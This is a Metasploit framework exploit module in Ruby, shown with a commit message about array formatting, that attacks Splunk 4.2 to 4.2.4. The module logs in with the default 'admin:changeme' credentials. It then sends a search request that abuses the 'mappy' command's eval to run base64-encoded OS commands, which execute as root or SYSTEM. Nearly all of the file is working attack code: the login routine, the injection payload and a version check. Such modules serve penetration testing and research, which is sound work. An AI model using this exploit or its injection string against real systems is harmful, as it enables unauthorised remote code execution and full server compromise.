c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
177 lines
5.1 KiB
Ruby
177 lines
5.1 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Splunk Search Remote Code Execution',
|
|
'Description' => %q{
|
|
This module abuses a command execution vulnerability in the
|
|
web based interface of Splunk 4.2 to 4.2.4. The vulnerability exists
|
|
in the 'mappy' search command which allows attackers to run Python code.
|
|
To exploit this vulnerability, a valid Splunk user with the admin
|
|
role is required. By default, this module uses the credential of "admin:changeme",
|
|
the default Administrator credential for Splunk. Note that the Splunk web interface
|
|
runs as SYSTEM on Windows and as root on Linux by default.
|
|
},
|
|
'Author' =>
|
|
[
|
|
"Gary O'Leary-Steele", # Vulnerability discovery and exploit
|
|
"juan vazquez" # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '77695' ],
|
|
[ 'BID', '51061' ],
|
|
[ 'CVE', '2011-4642' ],
|
|
[ 'URL', 'http://www.splunk.com/view/SP-CAAAGMM' ],
|
|
[ 'URL', 'http://www.sec-1.com/blog/?p=233' ],
|
|
[ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/Attacking_Splunk_Release.pdf' ],
|
|
[ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/splunkexploit.zip' ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'Badchars' => '',
|
|
'DisableNops' => true
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Universal CMD',
|
|
{
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => %w{ linux unix win }
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Dec 12 2011'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8000),
|
|
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
|
|
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ])
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
@username = datastore['USERNAME']
|
|
@password = datastore['PASSWORD']
|
|
@auth_cookies = ''
|
|
p = payload.encoded
|
|
print_status("Using command: #{p}")
|
|
cmd = Rex::Text.encode_base64(p)
|
|
|
|
print_status("Attempting to login...")
|
|
do_login
|
|
|
|
send_request_cgi(
|
|
{
|
|
'uri' => '/en-US/api/search/jobs',
|
|
'method' => 'POST',
|
|
'cookie' => @auth_cookies,
|
|
'headers' =>
|
|
{
|
|
'X-Requested-With' => 'XMLHttpRequest',
|
|
'X-Splunk-Session' => @auth_cookies.split("=")[1]
|
|
},
|
|
'vars_post' =>
|
|
{
|
|
'search' => "search index=_internal source=*splunkd.log |mappy x=eval(\"sys.modules['os'].system(base64.b64decode('#{cmd}'))\")",
|
|
'status_buckets' => "300",
|
|
'earliest_time' => "0",
|
|
'latest_time' => ""
|
|
}
|
|
}, 25)
|
|
handler
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => '/en-US/account/login',
|
|
'method' => 'GET'
|
|
}, 25)
|
|
|
|
if res and res.body =~ /Splunk Inc\. Splunk 4\.[0-2]\.[0-4] build [\d+]/
|
|
return Exploit::CheckCode::Appears
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def do_login
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => '/en-US/account/login',
|
|
'method' => 'GET'
|
|
}, 25)
|
|
|
|
cval = ''
|
|
uid = ''
|
|
session_id_port =
|
|
session_id = ''
|
|
if res and res.code == 200 and res.headers['Set-Cookie']
|
|
res.headers['Set-Cookie'].split(';').each {|c|
|
|
c.split(',').each {|v|
|
|
if v.split('=')[0] =~ /cval/
|
|
cval = v.split('=')[1]
|
|
elsif v.split('=')[0] =~ /uid/
|
|
uid = v.split('=')[1]
|
|
elsif v.split('=')[0] =~ /session_id/
|
|
session_id_port = v.split('=')[0]
|
|
session_id = v.split('=')[1]
|
|
end
|
|
}
|
|
}
|
|
else
|
|
fail_with(Failure::NotFound, "Unable to get session cookies")
|
|
end
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => '/en-US/account/login',
|
|
'method' => 'POST',
|
|
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
|
|
'vars_post' =>
|
|
{
|
|
'cval' => cval,
|
|
'username' => @username,
|
|
'password' => @password
|
|
}
|
|
}, 25)
|
|
|
|
if not res or res.code != 303
|
|
fail_with(Failure::NoAccess, "Unable to authenticate")
|
|
else
|
|
session_id_port = ''
|
|
session_id = ''
|
|
res.headers['Set-Cookie'].split(';').each {|c|
|
|
c.split(',').each {|v|
|
|
if v.split('=')[0] =~ /session_id/
|
|
session_id_port = v.split('=')[0]
|
|
session_id = v.split('=')[1]
|
|
end
|
|
}
|
|
}
|
|
@auth_cookies = "#{session_id_port}=#{session_id}"
|
|
end
|
|
|
|
end
|
|
|
|
end
|